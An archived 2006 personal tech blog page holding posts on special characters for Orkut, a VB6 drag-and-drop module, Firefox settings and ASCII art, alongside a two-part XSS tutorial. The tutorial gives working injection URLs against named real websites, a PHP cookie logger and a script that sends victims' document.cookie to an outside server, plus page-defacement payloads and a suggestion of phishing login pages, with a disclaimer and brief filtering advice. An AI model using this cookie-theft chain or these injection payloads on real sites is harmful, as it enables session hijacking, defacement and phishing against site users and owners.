:"""MHHMHHMMHHHHH#####M#############M#####'.'.':'.."HH:'..'HM:I:...HI.......................................'"H"I""I"IHIHIIIIIHHIHIHIIHHM##########MMMMM########MMM#MMMMM########HMMHIIIHII""I"I""'..':
"""HHMHMMMMMMHH#MM###MM###H######MM#######'.'.':'..'::":...:":I:...MH........................................'H:"'"""III"III""H"IIHIHIHHH##########MMMMM######I#MMMM#MMMMM######MHIIIHIHHIIH"II""I:..':
"""""HMMMHMHHM##H###MMMM#MM#####MM#######I.....::...........'.::...HI.:...."'...'.''......'..................'''''""""II"H"III"IH"IIIHHHH##########MM#MMM#######MMMMMMMMMMMMMM##MMHHMHMHMHHH""""II'...:
"""""HHHHMHHHH###MMMMMMM#M####HM########I'.'.'..:'...''.......::...HMMM:..HIII.'MHMM"..HIIMH.'HI...HI............''""""I""HI""I"III""IHHIH#########MMMMMMM#####MMMMMMMMMMMMMMMMMMMMMMMMHHMH""""I"I:...'
"""""""IIHHHH####MMMMMM#MM##MMM########I:.''..'.'I':::::::...:I:...HM'MH.'M.'M..IM.IM..IM:IM:.HM..IM:..........'.'''':""II"I"""""""""IHHHH######:I#MM#MMM#MM####MMMMMHMMMMMMMMMMMMMMHHHMHH""""I"II:...'
"II"""HHHHHMHMMM#MMMMMMMM##MM#M#MHI######:''''...:I:..'''::':I#:...IH."M."H.'M.."M.:M'.'M..M:..M:.M:.............'.'''""""""I"II"""""IIIHHH####HHHHM#MM##MMH###MMMMHHHHMMMMMMMMMMHMHMHMHH""II""""I:....
""""""HHHM###MMM#MMMMMMM##M################I#:.''::::'..:I'::.#:...IH.'M':M''M.."M."M..'M..M:..:HHH.................'''"""""MII"I""""IHIHHH###H:HHH##MMMMHHH#M#MMMHHHMMMMMMMMMMMMMHMMHHHH"I"""""II'....
"""""IIHH#####MMMMMMMMMM#M#M#M###############I..':.::I:'::..:'::...HI.'M''MI"M".:M.MI..'M.'M....HM....................''""""MI"I""I"IIIHIHIH##IHHHHH#M##HHMHHHMMMHHMMMMMMMMMMMMHMHMHIH"HI""""""""I"..'.
""""I"IIH#M####MHMMMMMMMMM##M#MMM#M#H###H##:'.'.'I#:..':''I:::::..'MMM'M..IMIMH."H"H...'M.I"....IH..................'.'.':'"##H#II"IIIIIIHII#HIHHIHHIH#MHHHMHHIHMHHHMMMMHMMMMMMMHHIHH"'III""""II"I"....
""I"""HMHHMMHMMMMMMMMMMMMMMMM##############'.....':'.....:I'::#I....:"II...'.'.."MHH:..'MIM:....M'..............'.......''''#####MH""I"HIIHIIHHHHIIHH:MHIHHHHIIHHHMMMMMMMMMMMMMMMHHHI''IH:""""""II:....
""I""IM###H#MMMMMMHMMMMMMM################''...:H'.....'.':'.'#::'...'H'........"M.":..'M''H'..:H...':............'.'.......H#####MHHII"I""IHI##IIIIIIIIIIHMHIHHHHHMMMHHMHMMMMMHHHHH"":"I""""""III"..'.
"I""IH####MMMMHMHMMMMHHMM###############I'...':"'"'...........:''..:II'.'......."M.....'M......M"...'H:..........'#:.'':I:''########H#H""I#H####H""I:HI"HHHHHHMHHHHHMMMHHHMMMHHMMHIHHHIII"I""I""II"....
"""IH#######MMHMMMHMMMHMMMMMM##M#######I'.'IMMMM'".'''""............'..........."H.....'I...:'IH.....I'...........##I#H####I###########II########I""IH:HHHIHHIHMHMMMMMHHHHMMMMMHMMHHHHHHI"IIHII"I":..'.
"""######M#MMHMMHMMMHMMMM##MMMMMMMMM##H'.'M#HHHMI"":'''"I.''''''''''II...'.'....'..'...'.'.IMMM...'"I'............H##################M###########H"IHI"HMIHHIIHHHHIHHMHHHHHMHMMMMHMHMHHHHHHHHI"""I:....
""#########MMMMMMMMMMHMMMM######M#M###..IMHHMHHIHI'.':I:"'""::::"""""'.'HMMMHMMM'.I""IIII""HMH""""""..............H##################MM##########::H":"HH'HHIHHIHI""IHHHMMMHMMMMMMMMHMHHMHMH""I""I:....
""#####M#MMMMHHMHMHMMMM#MMH#########I:'"MHMH::::H'..':::"...............MMMMMMMM:'................................I############M#####MM###########IIHHH#HIHHI""I"""IHHHMMMMHHHIMMMMMMMMMHHII""I""""....
""I##M#HHMMMMMMMHMMMMMMM##MM#######II:"MH#I'I:'"".....::'...............':'HM""'":....................'"".........:####M##############M#################IHHH""I""I"IHHHMMMHHHH"IHIMHMHHMHII"""I"I""....
:"IIMHMMMMMMMMMMMMMMMMMMM###M#######I:MHMH:HI...."'............''...'II'.:'HM""''''...:........'.....'MMMM'........'####M############MM###########I######HH""""""HHHHHMMMHHHHH"""IH"'::HI"I"""""I":.'..
""IH###MMMMMMMMM#MMMMMMMMM##########:IMH#:"HMH'.:MI...:HMHH'..'MI..'MMMM'..HM":..MH'.IMI......HMH''..IMHHMI:........I#####M######M####MM################HHI"""""HHHHHMHHIHHHMIHH"II"''.III""""""II"....
""IIM#MMMMMMMMMMM#M#MMMMMM##########:H#HH:'"MH".HM:"..HMMMMM:.'MH:.HMHHMI'.HM::."MMI:MMM"'..."MMMH:..HM"''::........'H#M###M######M###MM###M####M#######HH""""'"I"HHHIHHHHHHHHMMMHHI'''II""""I"""":''..
":IIHMMM#MM#MMMM##MMMMMM#M##########:#HMI".'MM:'HM":..MM'"HMI:'MH:.HM":'"'.HM":.HMMHIMMMI:...MM'HM":."MI:":'.....'I:::##MMM#MMM###M####M###M####MM#####III:":"":'""'""IHHMMMMHMHHMH"".'II""""""""I'.'''
""IH#HM#MM#MM#MMM#MM#M#MMMM#########IMHM":..HMMMMH:'.'HH"'MM::'MH:'IMH:''..HM::.MMMMMM:MH:.."M"'"MI:..MM::..'....'###########MMM##MM###M##M###MMM######IHHIIH#:'"'"''HHHHHMMHIHMHHHI''.II""""""""":...'
":HMMM#MM#MMM#M####M#M###M#M#######I'MHM::.'MMIIMM:'..HMHHMH":'MH:''MM""...HM::'MH"MMI'HM:'.HMHI"MH::."MH:'.......:###########MM#M##M##MM#M##MMMM##M#########:.'':''"HHMHMHHHIHMMHH"H:."I""""""""""..'.
"IM#M#M#MM#M##MM###M##MM############'MHM::.'MH"'HM::.'HMMMM:"''MH:'."MM":.."I"''MH.MM::HM:'.MMMMMMM::..HM::......''#############M#M#MM#MM#M#MMM#MMMM#########'.'''.'':HIHHI""HHHMHHH"'.II"""""""I":.'..
"#MMM#M#M#MM#MMM####M#M#H#####IHIII#:H#M:".IMI"."M""..HMIHMI:.'MH:'..IMH:'..::.:MH'"H:'HM:':MH:":HM:"..'MH::...'...:#############M#M#MMMMMMMMMMMM####M#######.'IH:.'...''.."HIHHHHHH":'II""""""""I"....
:MMM#M##M#M##MM#####M######I#HI:II'":IHMI:'MM:".'MH"'.HM::MH:'.MI:'...HMI".....:MI:'"".HM:''MI:"'"M:"..'HM::....'''':#####M#M##M###MMMMHMMMMMMMMMM#MM########H####I:''..."HHH""HHHHHHH"II"""""""I":....
I#M#M##M#MM##MMM#############IIIII""':MHM::"""'..":"'.HM"'HMI:''""...."MH:'....'MH:.:'.HM::.':"'.'"'"..."MI:....'':::#######HMMMMM#MMMMHMHMMMMMM##MM################I:'..IHHH''.'"HIHI"IH"""""I""":....
IM##H#M##MM##MMM#####M#######III"I"::'HHMI:::'...':"..IM::'MH::'"'.I".:MH:'....'MH:'..:MH':.:"'...'"'..."MH:....'':::IM#######M#MMMMMMMMMMMMMMM#MMM#######M###########I.:HMHH'..''H""""HH"I""""""":'...
IHMM##M##M####M#H####HMH#####:I"I"""''IMIMH:......'...':"'.HMH:...:MH."MHI'.....IHI'...M""'........':..."MI:'...'':"""IHMMM#####MMMMMMHMHMMMMMMMM#######MMM#M########'.."HMH:'...:HHH''"H"""I""":""....
"IH##M##MM###MM######MMMH###MH"I""""":.IMIMHI'........':'..'MMM:..:MMHMMI:.......::....'":.........'MH'"MM::.....'"""I""IHHMMMMMMMMMMMMMMMHMMMMM##M#MMMMMMMMMM#######..'HHHH...'."HHH'.II"I"I""""":....
"IM######M###M#######IHMMHH#MMH:"""'''''HMIHMHI:'::.........'HMI'I.IMMMI::.............''...........MMMMMI:'.....''""""I""I#M#MMMMMMMMMMMMHMHMMMMMMMMMM#M###########..'HH''"'....:MH:..IH"""II""""'....
IHM#####M########I###I"HMMMIHMH""""'"''..IMHIHMMMMI'HI""I"""""IHI".:""::HIII""""""""I""""""""'......'HMM"'".......''""""""MMM#M#HMMMMHMMMMMMMMHMMMMM###############'.."I'....'...:H'.:.II""""""""":....
I#######M#######III##"HIHHMMIHMH:"'"''''..:M#MHH#H":II""I""""I"I"".':":IHIIIII""I"""I"II:...'I'.....:''''I'......''""""""IM#####M#MMMMMMMMMMMMMMMMMMMMMMM#####M###I:::'..'....''.:.'II.IH""I""""""'....
IM##############HIIIHIIIIIMHMHMH""'"'.'..'.':IHMMI:...'.'.'..'...":..'......'.'..'..'.."I....H'.....'""":.........':""""IIMM#####MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM######HHI::.'..'..:HHI'IH"""""""I":....
H#######H########:"""I"II""HMMHMH"''''.'...''::I"I'...................'.'..'............'.........................''""""I"I######MM###MMMMMMHMMMMMMMM######################I'..'.:HHMI'IH"""I""I"":....
H#######H#######::::'"""":""IHMMHH'''''.'...''''.'..''.'.'.'...'....'.'.''...'..'.........'.'...........'.'::'..''.''""""I"IHM#MM###MMMM#MMMMMMMMMMMMMMMMMMMM#############H:'''.'::IH:'IH""""""""":....
H######IIH#####I:':IIIIII''"""HMMHHH""':I".'IHIIHII:"I:.:II"IIH::I'.II:I:II''I:.'IIIHHII':II''"IIIII"':"I::IIHHHI:'"H":"HIHHHMHH####MMM###MMMMMMMMMMMMMMM#####M#M########HIHHHH':H::II'IH"":"""""I:....
I#####HIII####HHI''IHIIII'"IH"'"MMHIII"III:.'IHH"IIIIII'.:IIIH::III'':III:::"IH".'IHHIH::IHHI:'IHHHI':IHHHHIHHHM:'IIIH""HHMHIHMHM#M#MM####MM####MMMMMM##MM#############HIIII#I':HHH:'.'IH""""""""":....
II####IIHI'I#IHIII'.IHH:'IIHIII':HMHI:IIHII:.'IHH":IIIHI:.:IH:'IIIII:.:I:':IIIIH:''IHH::IHIIHH''IHH'"IIMMH#":IHI'IIHHHH"HIH"IHMMHHHMHM###MM#M###MMMMMMMMM#M#M#M#M#MMH#MII:I:I'IHHMHH:.'IH""I""""I":....
IH###IIIIII'I::::II''I".'II:':II."MMMH::::'I:'':I'':I::II:.':.'I'''':'.:..:I':::"I''::':HIII"IH'':'':::I:IH:'''.:IIIIIHHIH""I"HMMHMHHHM###M######MMMM##MMMMM#M#HHIIH":::::::.':::::::'.IHI""""""""'....
II##IIIIIII.'.'.'..'.'.........'..HHMMHI'...'.................'......'...................''.........................''':IHHHHHIHHMMMMHMMMIM#######M#####MMMMMMM'':::'':'''''':::''':::"HH""I"""""":..'.
IIH#HI"II"I"":I":":I"I":::::I"":""HMHHMMH""":""":":":":::":"":":":::::::"::"":":""":::'::''::::":::"::":::::"::::"::"II"I"HMHHHHHHHMMHHHHHHM##M###M##MIIIM#MM#HIIIHIHIII:IIIIIIHIIIIIIIII""I"I"""":....
"II:IIII"I""IIIIIIIIHIIIIHIIIHIIHHIMH"HHMMMH""""III"""""IIII"IIIII"I":III"IIII""II"I"""""""I""II"""I""III""IIII""IHIIIIIIIIHHHHMHHHMHHHHMIIHHM#M###HI"II"IIIIIIIII""""I"I""I""I""I"I"I"IIII"""""":'.'.'
II"I""I""IIIIIIIIII"II"II"II""I""I"HMH""HHMMHII"""I""I"""""""":I""":""IIIIII"I"I""I"I"""II""""""":I:""":""""""""IHHIIIHIHHIHHHHHHHHHHHHHH"II"IH#M###I"""""IIIIII"II:":II"""I"I"""I""""I"":""II"""I'.'..
"""I"II""""IIII""IIIIIIIIIII"I"I"I""MH"I""HHMMHIII"I""II""""I""""III""""I"I"IIIIIII"I"II""""""""""""""""""I""""""HHHHHIHMHHHMHHHMMHHHHHIIIIIIIIIHMHH"""""I"III""":""""I"I"I"I"""""I"""""I"II"""I""''..'
III"III"III"""I"II"IIII"II"I""IIII""MMIII""HHMMMMH"I"""II"I"""I"I"IIIII"I"I"IIIII"I"IIIIII"I"I""I""I""III"II"""""IIIHHHHMHHHHHHHHHHHMHIIIIIIIII"I""""""I"":"""":""""""II""I""""I"""I"""I"I""II"""":'...
"I"II"""II"I"I"II"III"II"III"II"II"IHMH"III""HHHH""II"I"""I"I"I""""IIIIIIIIIIIIH""IIIIIIIIIIII"III"I""I""I""""III""IHHHHHHMMHHMH"HMHHH"I"""I"I""""I":"I""""":"""""""""""""I""""""""""""I""""""""I":....
"I""I"I""""I"IIIII""IIIIIIIIIIIII"H"IIII"I"""""""I"""""""II"""III"III"I"IIIIIIIIIIII"IIII"III"I"I"I"I:I""""""""""HHHHHHHHHMHHHMHIHMHHI""""""""":I":""""I"I:"""":""I""":"""""""""""""II"""IIII"I""""...'
II""""""""I"""I"I"IIIIIII"I"""III"I"III""III"IIII""III""I"I""I""""III"III"IIIIIIIIIIIIII"II""I"III"I""":"""IIMHHHMHMMMHIHHHHHHM"IIH"H"""I""I:":":":I"":""":I":"""""":""""""""""""":"""""I"""II"""I:..''
"I""""""I""I""II"IIIIIIII"I"II""III"II"I"III"IIIIII"""I""""I"""""I"I"""III"IIIIIIIIII"III""""II"I"I:I"::"""""IHHHIHHH"III"HHHHHIIIIIII"I""""":I":"::"":I"""""":""":""""""""""""""""""II""""""I"""I:...'
":"""""""I"""I"IIII""III"IIII""I"II"I""""I""""I"II"I"""I"I""I"""I"III""II"IIIIIIIIIIIII"II"I""I""II"I""I"":""IIH"IHI""IIHIHHHHHH""I"I""I":I:""I":I"""""""::""":"::""":"":""I"""""":""""":"""I"""II:....
I"""I""""""""""I"""I"IIII"II"""III"""""II"""I"II"""II""IIII"I"I"I"""IIII"III"IIII"I""I"I"II""IIIII"I""I""""""I""IIIII"I"H"IHHIIII"""""":"":""I:"""":"I"""":""""""""""""""""":"""""":""""""""::"""I:....
''':''''':''"''"'":""""""""::::"":":::::::::':::":""::"::""""::""""::""""""""I"I""""""""""::"::I""I":I":"::""""""""""I"""""HHII""":"""""":"::"""::"""""""":::":":""""""::""":":"""::"""""""""""""I:...'
..............................................................................'...'.............'....'.........'....'.....'"''........'...............'............'....'.'..'.'.'.'.''''''''''.''...':

Thursday, December 21, 2006

Special characters for orkut

Recently analyzing the traffic to my site I found that some wanted to know how to insert special characters in Orkut, yeah the fancy one's... So here is the info for them ...

Method 1
If you are on windows, take the character map from Start Menu > Programs > Accessories > System tools > Character Map.
You will find all the special characters you need in there.
Double clicking a character adds it to the text box below and when you have made your text in fancy just press Copy, and then paste wherever you want. Those having info about other OS please leave a comment ...

Method 2
You can enter special characters by :
Hold Down ALT
Type a number on the numeric keypad (1-255)
Release ALT
Now you will see a character appearing, enter different codes for different characters.
This was for windows, know about other OS? lemme know ...

Method 3
Just browse through profiles and you will find many characters, copy and paste. ;)

Here are some characters for you ...
Select | Copy | Paste


À Á Â Ã Ä Å Æ Ā Ă Ą à á â ã ä
å æ ā ă ą Ć ć Ĉ ĉ Ċ ċ Č č Ď ď
Đ đ Ē ē Ĕ ĕ Ė ė Ę ę Ě ě Ĝ ĝ Ğ
ğ Ġ ġ Ģ ģ Ĥ ĥ Ħ ħ Ĩ ĩ Ī ī Ĭ ĭ
Į į İ ı IJ ij Ĵ ĵ Ķ ķ ĸ Ĺ ĺ Ļ ļ
Ľ ľ Ŀ ŀ Ł ł Ń ń Ņ ņ Ň ň ʼn Ŋ ŋ
Ō ō Ŏ ŏ Ő ő Œ œ Ŕ ŕ Ŗ ŗ Ř ř Ś
ś Ŝ ŝ Ş ş Š š Ţ ţ Ť ť Ŧ ŧ Ũ ũ
Ū ū Ŭ ŭ Ů ů Ű ű Ų ų Ŵ ŵ Ŷ ŷ Ÿ
Ź ź Ż ż Ž ž ſ Ə ƒ Ơ ơ Ư ư Ǎ ǎ
Ǐ ǐ Ǒ ǒ Ǔ ǔ Ǖ ǖ Ǘ ǘ Ǚ ǚ Ǜ ǜ Ǻ
ǻ Ǽ ǽ Ǿ ǿ ə ˆ ˇ ˉ ˘ ˙ ˚ ˛ ˜ ˝
̀ ́ ̃ ̉ ̣ ; ΄ ΅ Ά · Έ Ή Ί Ό Ύ
Ώ ΐ Α Β Γ Δ Ε Ζ Η Θ Ι Κ Λ Μ Ν
Ξ Ο Π Ρ Σ Τ Υ Φ Χ Ψ Ω Ϊ Ϋ ά έ
ή ί ΰ α β γ δ ε ζ η θ ι κ λ μ
ν ξ ο π ρ ς σ τ υ φ χ ψ ω ϊ ϋ
ό ύ ώ Ё Ѓ Ђ Ѓ Є Ѕ І Þ ß
☺ ☻ ♥ ♪ ♫ ۞ © ™ ♦ ♣ ♠ • ◘ ○ ◙
♂ ♀ ♪ ☼ ► ◄ ↕ ‼ ¶ § ▬ ↨ ↑ ↓ →
← ∟ ↔ ▲ ▼ ô ö ò û ¢ ╗ ╝ ╜ ╚ ╥
╔ ╟ ╞ ┼ ─ ├ ┬ ┴ └ ┐ ╛ ▒ ░ » «
¡ ¼ ½ ¬ ⌐ ¿ ª ╩ ╦ ╠ ═ ╬ ╧ ╨ ╤
╥ ╙ ╘ ╒ ╓ ╫ ╪ ┘ ┌ █ ▄ ▌ ▐ ▀ α
ß Γ π Σ σ τ Φ Θ Ω δ ∞ φ ε ∩ ≡
± ≥ ≤ ⌠ ⌡ ÷ ≈ ° √ ⁿ ² ■


(Hope your browser renders the characters)

You can find more characters on the unicode character charts found at unicode, including one's with your local language.

Happy orkutting ...

Tuesday, December 19, 2006

XSS - Part 2 (Cookie stealing and Defacement)


Please note that this article is for educational purposes only, and is targeted at webmasters who have never seen this scenario. Please donot harm anyone.
Disclaimer : I am not responsible for any damages arising due to methods specified in this page. Webmasters please fix it ASAP.

In the first part we injected javascript successfully, and we got an alert. Now let us move to step 2 , defacing and cookie stealing.

Cookie Stealing using XSS
Cookie is used to manage sessions in browsers. Each person logged in gets a unique cookie, it is like a key to the site. So if you can get hold of this cookie, you have the key to enter the site. The site will welcome as the person from whom you stealed the cookie. Now let us look how to grab the cookie using cross site scripting.

For cookie stealing there must be an xss hole which can be injected through the url of the page like the one on propmart.com we discussed in first part.
Getting a cookie in javascript is accomplished by document.cookie, if somehow we could sent this to our page we have success. For this trick you will need to setup a page that logs the cookies that it recieves. The source of this page in php would be something like :
grabcookie.php


<?php
$handle=fopen("cookiejar.txt","a");
fputs($handle,"\n".$_GET["cookie"]."\n");
fclose($handle);
?>

Now to get the cookie to this page we would have to embed the following

<script>
var i=new Image();i.src = "http://myserver.com/myfolders/grabcookie.php?cookie="+document.cookie;
</script>

This code will send the cookies to your server. Now embeding the script in url can be done as discussed in part 1.

Next all you have to do is get this cookie (from cookiejar.txt) and set them in your browser. You can add and edit cookies in firefox with the cookie editor plugin.
Just a refresh will certainly get you in, if you are not too late (Cookie expires after sometime).


Defacing a website

To deface a website , the site must have a system which puts something you submit on their site (like guestbooks, feedbacks). Now if there is an XSS hole in such a page, you can embed the script to deface.

<script src="(location of script)"></script>

- OR -

<script>
document.body.innerHTML="<h1>XSS Defacing</h1>your HTML code here";
</script>

Either you can deface or craft a login page, which results in phishing.
Since it is dangerous to mention any examples, find out yourselves ...

Further reading and new XSS holes on
» ha.ckers.org

Eureka?
Let the world know ... post a comment.

Monday, December 18, 2006

Introduction to XSS Part 1


This document is purely for illustrative purposes only. I am not responsible for any losses arising to the websites mentioned below. Webmasters please be more alert...

What is it?

XSS stands for cross site scripting (CSS) Since CSS is already taken by Cascaded Style Sheets, it is named XSS X standing for a Cross. It is a kind of hacking which allows you to deface websites, loggin as another user etc.



Introduction

Let us start by looking how websites work. Starting with the simple ones, for example take this blog. It consists of a series of pages, connected by many links. This is just a simple case, now let us take a look at websites that are interactive. We are particularly interested in websites that allows us to post something and it appears on the site. The most simple example is google.com, when you search for something, it appears on their site. Or take the example of digg.com, reddit.com etc where you can submit information that is displayed on their site.



Phase 2 : Javascript injection

The next thing you try to do is put javascript into those areas which appear on the site. For example


<script>alert("hi");</script>

Most probably it wouldn't have work, because either you tried it on some well known site or you have to enter a little more code. Take the following example:
The following page has an XSS hole
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId=somesearchitem


But if you put
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId=<script>alert("xsjavascript:void(0)
Publishs");</script>

It didn't work. To understand why it didn't work we gotta look at its source.
This is how the rendered source (source that is outputted with your code) looks. To find out whether your injection has worked, take the source and search for your injected script. In this case it was found here :



Our script did not work because it was encapsulated within a string. So to break it out , we add extra code so that the new url would become :
http://www.propmart.com/search/pm_IdSearch.asp?
txtPropertyId="e;><script>alert("xss");</script><span style="e;

Now our script is properly executed and can be seen



The highlighted in red portion is the injected code. As you can see it works.
Another page with XSS hole is
http://www.propmart.com/mtrends/pm_marketrates.asp?city=Bangalore
and the injected url looks something like
http://www.propmart.com/mtrends/pm_marketrates.asp?
city=Bangalore-rates.jpg%22%3E%3Cscript%3Ealert(%22hi%22);%3C/script%3E%3Cimg%20src=%22Banglore

Now that you see that you can execute javascript on a clients browser, you can do anything from phishing, cookie stealing, defacement etc(Bookmark me and wait for more on this topic).
This is the case of simple sites that are not well made. Well made sites like google, yahoo and hotmail take this issue into serious consideration and have filters. Finding an XSS hole there is tough.
However some weak filters can be bypassed using the technologies mentioned in XSS Cheat Sheet

Message to Webmasters (specially of PropMart.com)

This article was written for you. Please provide a filter from Request to Response so that XSS can be prevented. Strip all html tags wherever it is ok to do so. Anti-XSS libraries are avalilable for use. For php users the strip_tags() function is a great way to prevent XSS in most cases.

Happy surfing...

More XSS holes ...
» 99acres.com : search for <script>alert(document.cookie);</script>
»Got another XSS hole ? Lemme know ....

Friday, December 15, 2006

Drag 'n Drop Files from explorer to VB

Introduction
This piece of code allows to make programs in Visual Basic 6, to have a drag and drop support of files directly from the folders. This is an alternative to the old File Open mechanism. This is way cooler...Code tested on Windows XP and on Visual Basic 6. Any information about other versions of windows or vb? Leave a comment...

Download
Download the code from planet source code.

The Code
The main part of the code is the module, here is the module code:
DragDrop.bas


Private Const WM_DROPFILES = &H233
'&H233 is the windows message id for the drop files message.
'It is the value of the uMsg parameter in the window procedure call.


Private Const GWL_WNDPROC = (-4)
'The index parameter to the SetWindowLong function
'that specifies to change a windows message handler procedure.


Private Declare Sub DragAcceptFiles Lib "shell32.dll" _
(ByVal hwnd As Long, ByVal fAccept As Long)
'DragAcceptFiles enables or disables a form or window to accept files.
'fAccept = 1 Enables.


Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" _
(ByVal HDROP As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
'DragQueryFile gives the information to us about the dropped file.
'lpStr outputs the filename.


Private Declare Sub DragFinish Lib "shell32.dll" _
(ByVal HDROP As Long)
'This function frees the resources used during the drag operation

Private PrevProc As Long
'Variable to store the address of the default window procedure

Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long

Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" _
(ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, _
ByVal msg As Long, ByVal wParam As Long, _
ByVal lParam As Long) As Long

Private Function HookForm(ByVal hwnd As Long)
PrevProc = SetWindowLong(hwnd, GWL_WNDPROC, AddressOf WindowProc)
'Setting our new windowProc function, now all message to window goes through WindowProc.
'Return value is the address of the previous function. ie,
'the AddressOf default window proc function

End Function
'Our Custom WindowProc Function
Private Function WindowProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If uMsg = WM_DROPFILES Then 'If we have got a drop
Dropped wParam 'wparam stores the Hdrop handle
End If
WindowProc = CallWindowProc(PrevProc, hwnd, uMsg, wParam, lParam)
'Call the default window procedure !IMPORTANT
End Function

'Remove our default window procedure.
Private Function UnHookForm(ByVal hwnd As Long)
If PrevProc <> 0 Then
SetWindowLong hwnd, GWL_WNDPROC, PrevProc
PrevProc = 0
End If
End Function

''' interface api '''
Public Sub EnableDragDrop(ByVal hwnd As Long)
DragAcceptFiles hwnd, 1
HookForm (hwnd)
End Sub

Public Sub DisableDragDrop(ByVal hwnd As Long)
DragAcceptFiles hwnd, 0
UnHookForm hwnd
End Sub

Public Sub Dropped(ByVal HDROP As Long)
Dim strFilename As String * 511
Call DragQueryFile(HDROP, 0, strFilename, 511) 'Get the filename.

'!! replace with your function below ....
Form1.GotADrop (strFilename)
End Sub

... and here is the form code ...

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _
(ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Command1_Click()
ShellExecute Me.hwnd, "", "http://digitalpbk.blogspot.com", "", "", 1
End Sub

Private Sub Form_Load()
EnableDragDrop Me.hwnd
End Sub

Public Sub GotADrop(ByVal strfile As String)
Label1.Caption = strfile
End Sub

Private Sub Form_Unload(Cancel As Integer)
DisableDragDrop Me.hwnd
End Sub

Thats all folks
Enjoy drag 'n drop...

about:config on firefox

This one is for those using Mozilla Firefox, if you are using take a new page or new tab and on the address bar type in about:config. You can do all the tweaking of Firefox from this page. about:config

You can edit the values by double clicking and changing the value on the dialog box or Right Click to Add/Modify etc.

Warning!
You can mess up firefox if you do editing. So always backup the values before tweaking.
Take File > Save Page.

Some examples:
browser.startup.homepage [String]
Sets your home page.

security.dialog_enable_delay [Integer] [in milliseconds]
Specifies the number of milliseconds till the button is enabled. You see this normally in download dialog boxes, in which the download button is enabled only sometime after. This is a security measure.

view_source.editor.external [True/False]
True enables another external editor to view the source.

view_source.editor.path [String]
External editor path.

browser.cache.memory.capacity [Integer]
This saves memory usage, by limiting the memory, and fixes memory leak.

Something you tweaked? Please leave a comment...

Related:

about:mozilla
about:plugins
about:credits
about:license
about:cache
about:buildconfig

Monday, December 11, 2006

Examples of Mirroring Character at work:

Check out http://digitalpbk.blogspot.com/2006/11/fun-with-unicode-and-mirroring.html if you haven't already done so....

On Google.com (Search results)


On reddit.com


On digg.com


On metafilter.com


On my page


You got an example ?
Leave the url as a comment ....

Caution!

This trick can potentially be used for phishing! So please always look at the Address Bar for the URL of the page and verify it is the right site you want to visit! Please warn everyone you know about this risk.

Always verify the address of the site before you submit sensitive information about yourself. Specially, Credit card holders with Bank account information.


Enjoy Surfing ...

Saturday, December 9, 2006

Preventing the default Windows Messenger from running.

To disable the in-built Windows Messenger on XP

1. Login as administrator
2. Start > Run
3. Type gpedit.msc in the dialog box, Press Enter.
4. Now you can see the "Group Policy" window, from the Tree View thats shown at the left, Select Computer Configuration to disable it for all users or Select User Configuration for disabling only for your account.
5. Select Administrative Templates > Windows Components > Windows Messenger
6. Next double click the Setting to enable both "Do not allow Windows Messenger to Run" and "Do not Automatically start windows messenger initially".
7. Your done. If its already running, exit.

The default windows messenger is as good as removed now. If you want to save the disk space too then remove windows messenger by uninstalling it from the control panel > Add/Remove Programs > Add/Remove Windows Components.

Thursday, December 7, 2006

ASCII Art - Tiger


:::''':I":::"::::''....... ..'.... ...''.'.. . . .............':::::"IIIHHI"":'
::''.'':":"::::"::.. .... . .... ...''.''.. . ..'.'.''''.'':":::"IIIIIII":'.
:''...':::"::'::"'. .... . .. .. ..'::''.'.. . ...''':::::''':':"""IIHIII":'..
:''...::I"":'''""'. ... .'"I"":'':::''.... .. .'"":'...''':"::'''''''::"IIII"":''..
::'.'I#MMMHI:::::'. .:''"H:::"""":'.. ...:H##MM##M'..'':::'...'''..':"III":::'
':'"##M#MMMMH":::'. .'::""IHI'''.'':'. ..IMIIHMMIH##...:::'. ..''''.'':II""::''..
:''##MHII""I"""":'. .':"IIIHMHMMIIIII:'.... :"I""IIIIHHM#:..'::'. ..':'''.'::":::::'''
'':#MIII":::::"::'. ..:II":''::IIIIH::':"IH"'.. '"I:":"IMHMHHM".':::'....:"::''':::''':':':
:::#HHI":::::H":':'. .:II":"HM###I::IM##MI:::"I"'.....:I"'''':MMMHHHI.''::''..'::":':::::''''''::
:":M#MI""""::"":':''..:"IHHMHHH""H##HMM''"M###M":IHI:'':"I"":::::I#MHH".'''''...''::'''''''''''''':
"":M#MH:"HI"""I"::::"::::I:..."MM######II:.'"M##MHIMI:':"""::"MH:H#MMH"''''......'''....'..'':':::"
I":H#MH:IM"""''"II:":HMMI".'"#############H:'::I::::"":"I":::"HMMMMHMH"...... . ..'. . ....'::"::""
I":HMHHIMMMMIII"I:''.:'''.:#####H:M####""###H'''"HI:"HHMHMMMI"H####MHH".''... . .... . ..'::""IIH
"::"HHMM###MI:""H'.'::":'I##MI:::':###M:':###I:::"IHI"HMM###MM####MMMM'.... ......... ...'.'':"IHHH
""::MHHMM#MM"IHH":"IIMH:HM"....'':H#####"''"##H:"IIIM":M#MM#######MM#:....... ..... ..''''.''"IIII
"":'"##MMMMI"HH:."MMMIII"'....''I###MI::I:'.'"HH"IHMHH":H#MHMM###MM#H''..... ..'......''':'..':":""
I"::':M#HHH":I"'"M#I""".. "M#MH##HM"#MM##H:..'IH"M#MMH:"##MIH###M#M"I:..'. ..'.....'.'::....::::"
""":'''M#IIIIH':##I""'. .####II#MMM'I":M###I..'"""####M"I#MII#####M""":'.....'''..''...':''.'":":"
:""::'.H#IHMM':##I"#: ."I"'.'':"#M:"''':IH#" '':M####M":MH#M##I#M"":""".. ''''':::'..':'''"":""I
::""":'"MIHI::M#I:#I :":":IM#:"MMM' . .'''##MM#M"'IM##MIHI"""::":'..':::"""'..'":::"""I""
""""I""""I"''M#M':I. M###":HM#H"M##M .''M#"M##I':M#MMII"""::''"'..:""II"'..'":::"II:""
